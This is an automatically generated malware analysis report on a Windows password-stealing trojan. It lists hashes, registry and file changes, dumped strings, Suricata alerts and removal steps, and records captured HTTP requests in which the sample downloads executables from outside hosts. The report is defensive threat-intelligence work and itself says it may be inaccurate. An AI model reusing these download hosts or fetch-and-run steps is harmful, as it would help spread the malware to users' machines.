Trojan.Generic.20482761_0ae013d9d5

by malwarelabrobot on March 16th, 2017 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.20482761 (B) (Emsisoft), Trojan.Generic.20482761 (AdAware), Trojan-PSW.Win32.MSNPassword.FD, Trojan.Win32.FlyStudio.FD, mzpefinder_pcap_file.YR, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 0ae013d9d5072a6c741d4ea47af4ed9c
SHA1: 436435a7293724938fc1b9b2e788f4876c1f04c6
SHA256: 296cb3e8b87d9b86e63c9256b4bd17c47a9a3ca6bb06c9a82ec960c791058834
SSDeep: 24576:j4GkL4VcqbcuX7oi/7NU0akeDxJgrl7lUYIUZf83siG OT:1VVt7XsyU0wxu0TsiG OT
Size: 1572371 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-08-05 10:55:36
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:1976

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1976 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\errorPageStrings[1] (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\httpErrorPagesScripts[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y2WNRMHF.txt (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\background_gradient[1] (453 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\dnserrordiagoff_webOC[1] (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\bullet[1] (447 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\navcancl[1] (2 bytes)
C:\iall3550004.exe (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\ErrorPageTemplate[1] (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\info_48[1] (4 bytes)

Registry activity

The process %original file name%.exe:1976 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASMANCS]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASAPI32]
"EnableFileTracing" = "0"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3E 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASAPI32]
"MaxFileSize" = "1048576"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1276x846x32(BGR 0)" = "31,31,31,31"

[HKLM\SOFTWARE\Microsoft\Tracing\0ae013d9d5072a6c741d4ea47af4ed9c_RASAPI32]
"FileDirectory" = "%windir%\tracing"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

Dropped PE files

MD5 File path
2101bf058d15daf3246c15be798e6b5f c:\iall3550004.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
Esp0 4096 921600 0 0 d41d8cd98f00b204e9800998ecf8427e
Esp1 925696 1204224 1201664 5.54506 a9dea72aca27137560b4062d1c783473
.rsrc 2129920 372736 369152 0.86108 797807edf44ca1175e2b0a529852d0ad
.Esp 2502656 512 512 4.69958 68e4ce7365a050f32577c7cf1ac6e66f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://www.ip.cn/
hxxp://www.luomowg.com/a/changqiwangzhan/2015/0615/99.html 103.226.127.111
hxxp://1st.dl.ourdvs.com/dl/newpck55/iall3550004.exe
hxxp://441418.p23.tc.cdntip.com/downloads/jm/HNInstall_Setup_v1.2.0.12_7654_26214.exe
hxxp://d.heinote.com/downloads/jm/HNInstall_Setup_v1.2.0.12_7654_26214.exe 125.211.204.201
hxxp://dl.ikiki.cn/dl/newpck55/iall3550004.exe 203.130.56.136
ac.100bt.com 106.75.68.89


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Windows NT Version 5.0
ET POLICY External IP Lookup - www.ip.cn
ET POLICY PE EXE or DLL Windows file download HTTP
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /a/changqiwangzhan/2015/0615/99.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: VVV.luomowg.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Mar 2017 21:28:14 GMT
Content-Length: 3349
Content-Type: text/html
Content-Location: hXXp://VVV.luomowg.com/a/changqiwangzhan/2015/0615/99.html
Last-Modified: Wed, 15 Mar 2017 01:09:43 GMT
Accept-Ranges: bytes
ETag: "c68657d4289dd21:e2d"
Server: IIS
X-Powered-By: WAF/2.0
Set-Cookie: safedog-flow-item=764CBEB8DE038C69432B6133E7FDF3A6; expires=Thur, 16-Mar-2017 16:00:14 GMT; domain=luomowg.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml">..<head>..<meta http-eq
uiv="Content-Type" content="text/html; charset=gb2312" />..<meta
 http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />..<title
>....-........_........-............,............................!&
lt;/title>..<meta name="keywords" content="....,....,....," />
;..<meta name="description" content="1" />..<link rel="shortc
ut icon" href="favicon.ico"/>..<link rel="stylesheet" type="text
/css" href="/dedemao/css/basic.css" />..<link rel="stylesheet" t
ype="text/css" href="/dedemao/css/service.css" />..<link rel="st
ylesheet" type="text/css" href="/dedemao/css/caseInfo.css" />..<
/head>..<body>...<script>..<!--..loopy()..function l
oopy() {..var sWord =""..while (sWord != "plus/list.php?tid") { //....
sWord = prompt("..")..}..}..//-->..</script>..<div class="
top">...<h1>..............<a href="http:/VVV.luomowg.com" 
></a></h1>...<ul class="nav">......      ...     
 .<li><a href='hXXp://VVV.luomowg.com/' >....</a><
;/li>..      ...      .<li><a href='/plus/list.php?tid=1' 
>.... ........</a></li>..      ...      .<li><
a href='/plus/list.php?tid=6' >....</a></li>..      ...
.</ul>.....</div>..<div class="main">...<div 
<<< skipped >>>


GET /downloads/jm/HNInstall_Setup_v1.2.0.12_7654_26214.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: d.heinote.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: NWS_TCloud_S1
Connection: keep-alive
Date: Wed, 15 Mar 2017 21:28:22 GMT
Cache-Control: max-age=600
Expires: Wed, 15 Mar 2017 21:38:22 GMT
Last-Modified: Thu, 29 Dec 2016 10:17:40 GMT
Content-Type: application/octet-stream
Content-Length: 5467432
Content-Disposition: attachment; filename="HNInstall_Setup_v1.2.0.12_7654_26214.exe"
X-Daa-Tunnel: hop_count=2
X-Cache-Lookup: Hit From Upstream
X-Cache-Lookup: Hit From Disktank
Accept-Ranges: bytes
MZ......................@...................................@.........
..!..L.!This program cannot be run in DOS mode....$........$.F.E...E..
.E..O.(..E..O.*.WE..O. ..E..e....E.......E..n....E.......E.......E...=
]..E.......E.......E.......E...=Z..E...=J..E...E..jD..n....E..n....E..
i.&..E...EN..E..n....E..Rich.E..........PE..L......W.................n
....I.....].............@...........................S.......S...@.....
........................P...0&..........8CE.......... S.(M... S..}..0.
..T...................\...........@...................................
.........text....m.......n.................. ..`.rdata...............r
..............@..@.data....V...P... ...:..............@....gfids......
.........Z..............@..@.tls.................\..............@....r
src...8CE......DE..^..............@..@.reloc...}... S..~....R.........
....@..B..............................................................
......................................................................
.............................................kZ......M.........M......
"Y..h.|I....M......Y..U...4.M...b..h`|I.........]..p.M..6...ho|I......
Y.hy|I......Y.h.|I......Y.h.|I......Y....M......h.|I......Y....M......
h.|I......Y.j..lcI......j.h4.I..P.M..:...j....K.3.S...M..u..#....u..`.
M..u..u...X.M......E..RC..E.........j.S.p.M..E..........j.S...M..E....
....M...u.3....M..x.M..E..E..E..h.|I.........Y......j...dI..!...j....K
....M.V.....j.3....M.V.}..s....M...u..=..M..}..}..}....M.h.|I......w..
.Y.......(.M...z..h.|I..\...Y.j....M......h.|I..D...Y.j....M......
<<< skipped >>>


GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: VVV.ip.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Wed, 15 Mar 2017 21:27:52 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
d8d..<!DOCTYPE html>.<html>.<head>.<meta http-equ
iv="Content-Type" content="text/html; charset=utf-8">.<link href
="hXXp://s.ip-cdn.com" rel="dns-prefetch" />.<title>IP.cn - I
P ............ | ............ | ...............</title>.<meta
 name="robots" content="all" />.<meta name="Keywords" content="i
p,ip......,......ip,......ip,......ip,ip............,.........,.......
..">.<meta name="Description" content="............ IP .........
............ IP ..............................IP .....................
......................................................................
.....................................................">.<link hr
ef='hXXp://s.ip-cdn.com/css/bootstrap.min.css' rel='stylesheet' type='
text/css'>.<meta name="viewport" content="width=device-width, mi
nimum-scale=0.5">.<meta name="format-detection" content="telepho
ne=no">.<!--[if lt IE 8]>.<script src="hXXp://s.ip-cdn.com
/js/ie8.js"></script>.<![endif]-->.<link href='http:
//s.ip-cdn.com/css/main.css' rel='stylesheet' type='text/css'>.<
/head>.<body onLoad="document.fs.ip.focus()">.<div class="
container-fluid">..<div class="header">...<a href="/">&
lt;img src="hXXp://s.ip-cdn.com/img/logo.gif"></a>..</div&
gt;...<div class="mainbar">...<ul class="nav nav-pills center
-pills">....<li class="active"><a href="/">IP ......<
;/a></li>....<li><a href="db.php">...........
<<< skipped >>>


GET /dl/newpck55/iall3550004.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: dl.ikiki.cn
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Mar 2017 21:28:14 GMT
Content-Type: application/octet-stream
Last-Modified: Wed, 15 Mar 2017 17:35:03 GMT
Accept-Ranges: bytes
ETag: "cd20f87ab29dd21:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 5692320
Via: 1.1 dxinxzai56:3 (Cdn Cache Server V2.0), 1.1 ml34:0 (Cdn Cache Server V2.0)
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........:D..[*O.[*O
.[*O...O.[*O$..O.[*O.#.O.[*O.SuO.[*O.SwO.[*O.[ O.Z*O.#.O [*O.#.O:[*O..
.O.[*O.[.O.[*O.#.O.[*ORich.[*O........................PE..L...?ORX....
.........................>............@............................
.....^WW..............................................@...1...........
.V..?..........................................`...@..................
..........................text...L........................... ..`.rdat
a..,...........................@..@.data...(........@.................
.@....rsrc....1...@...2..................@..@.........................
......................................................................
......................................................................
......................................................................
......................................................................
................................................k........j.X.U...E..E.
h.IF..E.P.c....U...u..u.....E...u.].VP....E.....t(.u..u.....E..M......
v.;.s.I....tV.u.;.r.3..........#.^]..D$....@...j.P.t$.....E...u...t$.P
.t$..z.......U...E..u....@...Pj..u.....E...u.]..u.P.u..H......].SVW...
V.j....<...3.C...t$..t$.W..........u.S.......C....u._^[......A.....
...J........Q...R...D$..U..3.9E.u..W....%.U.V.u.....t...BF.M.u.^9E.u.J
.z......]....D$.S3...u..W....5VW.t$..|$..t$..p.VPW..........|.;.w.u...
>....>.z..._^..[...V.t$.3...;.t..T$.8.t.BNu.;.u..W......T$.;
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1976:

`.rsrc
@N.xG
t$(SSh
~%UVW
u$SShe
C:\1888.txt
hXXp://VVV.ip.cn/
$JA.hy
.iqW>
"3/%F
k.KVp
]>.KrV
t.vim
.ti^a
.OW74
"E.jV
.qED=?
kS$-NY}
.TY3F
kEY94
~.qMi
,.GM>
ri&,G.aL
.BY~^
.yk (Di
D.gbQP
B.PQn
sI%fX
a.mGtn
EcMD*}
%du2$"
.unOZ
c T.Om
OE.ky
.UJ3Zw
.XLKoB
.ax*9
;%C<c
.Jr1Z
0'.Ll
[I(3/#N0.bd
j"%u=w
q%Xn`
@|H.NI
.wdd!
S|%u4
 7O%C
.WE= T!N
#?%s(C(
I %d)
.aEd(
W%xvd
5.ch*
y.MMO}
5r.KV}b
rz.yIL
EcT%x#
W.XZ~
..Xc&
4.Ky%t
.h.fO
Õ6m*
.rsrc
%S4WD
hg%fpM
S.Ac9SR
0.I%3s
,wAe.kI
aiUy'4xu
%c*@j
.eH'y
{&%U)
lj%4U
xe%CNs
9F.cLe
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSIMG32.dll
MSVCRT.dll
MSVFW32.dll
USER32.dll
SkinH_EL.dll
hXXp://VVV.luomowg.com/a/changqiwangzhan/2015/0615/99.html
hXXp://ac.100bt.com/
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
ole32.dll
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
user32.dll
.PAVCException@@
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
.PAVCFileException@@
: %d]
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
.PAVCNotSupportedException@@
out.prn
(*.prn)|*.prn|
%d.%d
%d/%d
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
%d / %d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
(*.htm;*.html)|*.htm;*.html
.PAVCOleException@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCOleDispatchException@@
zcÁ
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
WinExec
GetProcessHeap
GetCPInfo
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
GetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
ShellExecuteA
UnhookWindowsHookEx
GetKeyState
CreateDialogIndirectParamA
SetWindowsHookExA
InternetCanonicalizeUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpQueryInfoA
HttpSendRequestA
.data
.rdata
@.data
@.text
ADVAPI32.dll
comdlg32.dll
OLEAUT32.dll
oledlg.dll
RASAPI32.dll
SHELL32.dll
WININET.dll
WINMM.dll
WINSPOOL.DRV
WS2_32.dll
1, 0, 6, 6
- Skin.dll
(*.*)

%original file name%.exe_1976_rwx_00401000_00207000:

t$(SSh
~%UVW
u$SShe
C:\1888.txt
hXXp://VVV.ip.cn/
$JA.hy
.iqW>
"3/%F
k.KVp
]>.KrV
t.vim
.ti^a
.OW74
"E.jV
.qED=?
kS$-NY}
.TY3F
kEY94
~.qMi
,.GM>
ri&,G.aL
.BY~^
.yk (Di
D.gbQP
B.PQn
sI%fX
a.mGtn
EcMD*}
%du2$"
.unOZ
c T.Om
OE.ky
.UJ3Zw
.XLKoB
.ax*9
;%C<c
.Jr1Z
0'.Ll
[I(3/#N0.bd
j"%u=w
q%Xn`
@|H.NI
.wdd!
S|%u4
 7O%C
.WE= T!N
#?%s(C(
I %d)
.aEd(
W%xvd
5.ch*
y.MMO}
5r.KV}b
rz.yIL
EcT%x#
W.XZ~
..Xc&
4.Ky%t
.h.fO
Õ6m*
.rsrc
%S4WD
hg%fpM
S.Ac9SR
0.I%3s
,wAe.kI
aiUy'4xu
%c*@j
.eH'y
{&%U)
lj%4U
xe%CNs
9F.cLe
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSIMG32.dll
MSVCRT.dll
MSVFW32.dll
USER32.dll
SkinH_EL.dll
hXXp://VVV.luomowg.com/a/changqiwangzhan/2015/0615/99.html
hXXp://ac.100bt.com/
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
ole32.dll
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
user32.dll
.PAVCException@@
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
.PAVCFileException@@
: %d]
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
.PAVCNotSupportedException@@
out.prn
(*.prn)|*.prn|
%d.%d
%d/%d
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
%d / %d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
(*.htm;*.html)|*.htm;*.html
.PAVCOleException@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCOleDispatchException@@
zcÁ
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
WinExec
GetProcessHeap
GetCPInfo
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
GetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
ShellExecuteA
UnhookWindowsHookEx
GetKeyState
CreateDialogIndirectParamA
SetWindowsHookExA
InternetCanonicalizeUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpQueryInfoA
HttpSendRequestA
.data
.rdata
@.data
@.text
1, 0, 6, 6
- Skin.dll
(*.*)

%original file name%.exe_1976_rwx_10000000_0003E000:

`.rsrc
L$(h%f
SSh0j
msctls_hotkey32
TVCLHotKey
THotKey
\skinh.she
}uo,x6l5k%x-l h
9p%s m)t4`#b
e"m?c&y1`Ð<
SetViewportOrgEx
SetViewportExtEx
SetWindowsHookExA
UnhookWindowsHookEx
EnumThreadWindows
EnumChildWindows
`c%US.4/
!#$<#$#=
.text
`.rdata
@.data
.rsrc
@.UPX0
`.UPX1
`.reloc
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSIMG32.dll
MSVCRT.dll
MSVFW32.dll
USER32.dll
SkinH_EL.dll
1, 0, 6, 6
- Skin.dll


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\errorPageStrings[1] (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\httpErrorPagesScripts[1] (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y2WNRMHF.txt (110 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\background_gradient[1] (453 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\dnserrordiagoff_webOC[1] (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\bullet[1] (447 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\navcancl[1] (2 bytes)
    C:\iall3550004.exe (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\ErrorPageTemplate[1] (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\info_48[1] (4 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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